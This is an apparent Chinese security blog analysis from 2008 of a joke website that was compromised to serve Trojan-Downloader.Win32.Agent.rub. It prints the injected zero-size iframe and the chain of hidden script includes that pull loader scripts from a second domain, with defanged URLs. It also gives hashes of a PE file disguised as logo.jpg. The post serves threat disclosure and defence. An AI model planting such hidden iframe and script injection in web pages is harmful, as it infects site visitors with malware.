某笑话网站挂马Trojan-Downloader.Win32.Agent.rub

某笑话网站挂马Trojan-Downloader.Win32.Agent.rub

endurer 原创
2008-06-05 第1版

该网网页包含代码：
/---
＜iframe width="0" height="0" src="hxxp://ad**.hav**e*ip.com/da.htm"＞＜/iframe＞
---/

hxxp://ad**.hav**e*ip.com/da.htm 输出代码：
/---
＜span style='width:0;height:0;visibility:hidden'＞＜script language='javascript' src='hxxp://ad**.hav**e*ip.com/file/ad.js'＞＜/script＞＜/span＞
---/

hxxp://ad**.hav**e*ip.com/file/ad.js 输出代码：
/---
＜iframe name='logo_if' width='0' height='0'＞＜/iframe＞＜script language='javascript' src='hxxp://ww**.sh**i**tip.com/file/logo.js'＞＜/script＞＜iframe name='real2_if' width='0' height='0'＞＜/iframe＞＜script language='javascript' src='hxxp://ww**.sh**i**tip.com/file/real2.js'＞＜/script＞＜iframe name='real_if' width='0' height='0'＞＜/iframe＞＜script language='javascript' src='hxxp://ww**.sh**i**tip.com/file/real.js'＞＜/script＞＜iframe name='lz3_if' width='0' height='0'＞＜/iframe＞＜script language='javascript' src='hxxp://ww**.sh**i**tip.com/file/lz3.js'＞＜/script＞＜iframe name='lz2_if' width='0' height='0'＞＜/iframe＞＜script language='javascript' src='hxxp://ww**.sh**i**tip.com/file/lz2.js'＞＜/script＞＜iframe name='lz_if' width='0' height='0'＞＜/iframe＞＜script language='javascript' src='hxxp://ww**.sh**i**tip.com/file/lz.js'＞＜/script＞＜iframe name='bf_if' width='0' height='0'＞＜/iframe＞＜script language='javascript' src='hxxp://ww**.sh**i**tip.com/file/bf.js'＞＜/script＞＜iframe name='pps_if' width='0' height='0'＞＜/iframe＞＜script language='javascript' src='hxxp://ww**.sh**i**tip.com/file/pps.js'＞＜/script＞＜iframe name='xunlei_if' width='25' height='0'＞＜/iframe＞＜script language='javascript' src='hxxp://ww**.sh**i**tip.com/file/xunlei.js'＞＜/script＞＜iframe name='sdr_if' width='0' height='0'＞＜/iframe＞＜script language='javascript' src='hxxp://ww**.sh**i**tip.com/file/sdr.js'＞＜/script＞＜iframe name='cif_' width='0' height='0'＞＜/iframe＞＜script language='javascript' src='hxxp://count23.51yes.com/click.aspx?id=238288070&logo=1'＞＜/script＞
---/

下载 hxxp://ww**.sh**i**tip.com/file/images/logo.jpg

文件说明符 : D:/test/logo.jpg
属性 : A---
M$签名:否
PE文件:是
获取文件版本信息大小失败!
创建时间 : 2008-6-5 12:8:56
修改时间 : 2008-6-5 12:8:58
大小 : 30208 字节 29.512 KB
MD5 : c51c1397742ab19bdee43c067d0d23d6
SHA1: C6DFC8C4E508B39F6213B9554EB6106E64DBCBEA
CRC32: 126bd592

卡巴斯基报为 Trojan-Downloader.Win32.Agent.rub